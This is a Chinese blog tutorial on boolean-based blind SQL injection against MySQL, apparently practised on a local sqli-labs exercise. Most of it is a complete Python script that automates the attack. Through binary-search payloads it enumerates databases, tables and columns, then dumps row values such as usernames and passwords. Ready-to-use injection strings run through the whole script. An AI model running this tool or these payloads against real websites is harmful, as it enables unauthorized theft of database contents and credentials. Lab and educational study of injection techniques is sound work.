mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)

0x00 特点

当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用,

它一次只能猜测一个字节,速度慢,但是只要存在注入就能用

0x01 利用方式

用and连接前后语句:www.xxx.com/aa.php?id=1 and (注入语句) --+

根据返回页面是否相同来得到数据

0x02 注入步骤

找到注入点,判断闭合字符

08f674720841e047b52eb04d6fdd1433.png

尝试猜解列数,得到显示位

22c6c206ce434db86fc3e6f3e5f4e1bf.png

9a1c2c5604c9844f2f1755163a1e5b18.png

得到数据库名

41073937bac36a1acff998aa5df5a8e8.png

62d26c36eb316a6e991b5b4eb0013843.png

最终得到第五个数据库名为security

得到表名

6c03489434ddd9fc0c1162fd8c3a2326.png

c0e0ff8a5ff41e57c864c113af9c9c20.png

最终依次猜的表名为users

得到列名

e0ec62944b357f0d2665c9e69c050656.png

62bf5124a21c11a8d044cc076112e846.png

791ddcc9dd8381002f42cd01bc4ea74b.png

同理最终得到第2列列名为username,第3列列名为password

得到列值

65a577f79760ba71039694eafabcd2e8.png

548e04819bfa211b6a93851ee8389aef.png

0d34309e01fea1ad38de85a1aba04389.png

依次得到为admin4,同理可得其他数据

0x04 附上python脚本

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# code by reber <1070018473@qq.com>

__author__="reber"

import sys

import requests

import binascii

import hashlib

from pyfiglet import figlet_format

from optparse import OptionParser

def get_md5_html(url):

html = requests.get(url=url).content

m2 = hashlib.md5()

m2.update(html)

md5_html = m2.hexdigest()

return md5_html

def get2(*args): #二分法得到数值

low,high,url,payload,standard_md5 = args

while low <= high:

mid = (low + high)/2;

mid_url = url + payload.format(mid=mid)

mid_md5_html = get_md5_html(mid_url)

if standard_md5 == mid_md5_html:

low = mid + 1

else:

high = mid-1

num = (low+high+1)/2

return num

def getAllDatabases(url):

standard_md5 = get_md5_html(url)

# print standard_md5

payload = "' and ((select count(distinct+table_schema) from information_schema.tables) > {mid})--+"

# payload = payload.replace(' ','%20')

db_num = get2(1,100,url,payload,standard_md5)

print "The total number of database is: %d" % db_num

for index in xrange(0,db_num): #一次循环输出一个数据库名

payload = "' and (length((select distinct table_schema from information_schema.tables limit {index},1)) > {mid})--+".format(index=index,mid='{mid}')

# payload = payload.replace(' ','%20')

db_name_len = get2(1,30,url,payload,standard_md5)

# print "database name length:%d" % db_name_len

print "[*] ",

for x in xrange(1,db_name_len+1): #一次for循环输出数据库名的一个字符

payload = "' and (select ascii(substr((select distinct table_schema from information_schema.tables limit {index},1), {x}, 1)) > {mid}) --+".format(index=index,x=x,mid='{mid}')

# payload = payload.replace(' ','%20')

str_ascii = get2(32,126,url,payload,standard_md5)

database_name_one_str = chr(str_ascii)

# print database_name_one_str

sys.stdout.write(database_name_one_str)

sys.stdout.flush()

print

def getAllTablesByDb(url,db_name):

standard_md5 = get_md5_html(url)

db_name_hex = "0x" + binascii.b2a_hex(db_name)

# print standard_md5

payload = "' and ((select count(distinct+table_name) from information_schema.tables where table_schema={db_name_hex}) > {mid})--+".format(db_name_hex=db_name_hex,mid='{mid}')

# payload = "/**/".join(payload.split())

db_num = get2(1,200,url,payload,standard_md5)

print "Database %s: [%d tables]" % (db_name,db_num)

for index in xrange(0,db_num): #一次循环输出一个表名

payload = "' and (length((select distinct table_name from information_schema.tables where table_schema={db_name_hex} limit {index},1)) > {mid})--+".format(db_name_hex=db_name_hex,index=index,mid='{mid}')

payload = "/**/".join(payload.split())

table_name_len = get2(1,30,url,payload,standard_md5)

print "[*] ",

for x in xrange(1,table_name_len+1): #一次for循环输出表名的一个字符

payload = "' and (select ascii(substr((select distinct table_name from information_schema.tables where table_schema={db_name_hex} limit {index},1), {x}, 1)) > {mid}) --+".format(db_name_hex=db_name_hex,index=index,x=x,mid='{mid}')

# payload = "/**/".join(payload.split())

str_ascii = get2(32,126,url,payload,standard_md5)

table_name_one_str = chr(str_ascii)

sys.stdout.write(table_name_one_str)

sys.stdout.flush()

print

def getAllColumnsByTable(url,table_name,db_name):

#for循环,一次得到一列的列名:

#while循环得到列名的长度:

#for循环,一次得出列名的一个字符

standard_md5 = get_md5_html(url)

table_name_hex = "0x" + binascii.b2a_hex(table_name)

db_name_hex = "0x" + binascii.b2a_hex(db_name)

# print standard_md5

payload = "' and ((select count(distinct+column_name) from information_schema.columns where table_name={table_name_hex} and table_schema={db_name_hex}) > {mid})--+".format(table_name_hex=table_name_hex,db_name_hex=db_name_hex,mid='{mid}')

# payload = "/**/".join(payload.split())

column_num = get2(1,200,url,payload,standard_md5)

print "Table %s: [%d columns]" % (table_name,column_num)

for index in xrange(0,column_num): #一次循环输出一个列名

payload = "' and (length((select distinct column_name from information_schema.columns where table_name={} and table_schema={} limit {},1)) > {})--+".format(table_name_hex,db_name_hex,index,'{mid}')

# payload = "/**/".join(payload.split())

column_name_len = get2(1,30,url,payload,standard_md5)

# print "column length is: %d" % column_name_len

print "[*] ",

for x in xrange(1,column_name_len+1): #一次for循环输出列名的一个字符

payload = "' and (select ascii(substr((select distinct column_name from information_schema.columns where table_name={} and table_schema={} limit {},1), {}, 1)) > {}) --+".format(table_name_hex,db_name_hex,index,x,'{mid}')

# payload = "/**/".join(payload.split())

str_ascii = get2(32,126,url,payload,standard_md5)

column_name_one_str = chr(str_ascii)

sys.stdout.write(column_name_one_str)

sys.stdout.flush()

print

def getAllcontent(url,column_name,table_name,db_name):

#for循环,一次得到一行的值

#while循环得到每个字段的长度

#for循环,一次得出一个字段的一个字符

column_name = column_name.split(',')

len_column_name = len(column_name)

# print "len_column_name:%d" % len_column_name

standard_md5 = get_md5_html(url)

table_name_hex = "0x" + binascii.b2a_hex(table_name)

db_name_hex = "0x" + binascii.b2a_hex(db_name)

# print standard_md5

payload = "' and ((select count(*) from {}.{}) > {})--+".format(db_name,table_name,'{mid}')

payload = "/**/".join(payload.split())

column_value_num = get2(1,10000,url,payload,standard_md5)

print "The %s table with %d row value: " % (table_name,column_value_num)

stri = ""

for x in xrange(0,len_column_name):#输出title

stri += "%s\t" % column_name[x]

print stri

for index in xrange(0,column_value_num): #一次循环输出一行数据

for y in xrange(0,len_column_name): #一次输出一行的一列的值,循环完输出一行的值

payload = "' and (length((select {} from {}.{} limit {},1)) > {})--+".format(column_name[y],db_name,table_name,index,'{mid}')

# payload = "/**/".join(payload.split())

column_value_len = get2(1,30,url,payload,standard_md5)

# print "column value length is: %d" % column_value_len

for x in xrange(1,column_value_len+1): #得到一行数据的一列的值

payload = "' and (select ascii(substr((select {} from {}.{} limit {},1), {}, 1)) > {}) --+".format(column_name[y],db_name,table_name,index,x,'{mid}')

# payload = "/**/".join(payload.split())

str_ascii = get2(32,126,url,payload,standard_md5)

column_name_one_str = chr(str_ascii)

sys.stdout.write(column_name_one_str)

sys.stdout.flush()

sys.stdout.write("\t")

print

def main():

print figlet_format("sql-bool")

parser = OptionParser(usage='Usage: python %prog [options]',version='%prog 1.2')

parser.add_option("-u","--URL",action="store",

type="string",dest="url",

help="target url")

parser.add_option("-D","--DB",action="store",

type="string",dest="db_name",

help="get database name")

parser.add_option("-T","--TBL",action="store",

type="string",dest="table_name",

help="get table name")

parser.add_option("-C","--COL",action="store",

type="string",dest="column_name",

help="get column name")

parser.add_option("--dbs",action="store_true",

dest="dbs",help="get all database name")

(options,args) = parser.parse_args()

if options == None or options.url == None:

parser.print_help()

elif options.column_name and options.table_name and options.db_name:

getAllcontent(options.url,options.column_name,options.table_name,options.db_name)

elif options.table_name and options.db_name:

getAllColumnsByTable(options.url,options.table_name,options.db_name)

elif options.db_name:

getAllTablesByDb(options.url,options.db_name)

elif options.dbs:

getAllDatabases(options.url)

elif options.url:

parser.print_help()

if __name__ == '__main__':

main()

#python test.py -u "http://192.168.188.134/sqli/Less-8/?id=1" --dbs

#python test.py -u "http://192.168.188.134/sqli/Less-8/?id=1" -D security

#python test.py -u "http://192.168.188.134/sqli/Less-8/?id=1" -D security -T users

#python test.py -u "http://192.168.188.134/sqli/Less-8/?id=1" -D security -T users -C username,password

若未作声明则文章版权归本人(@reber)所有,转载请注明原文链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值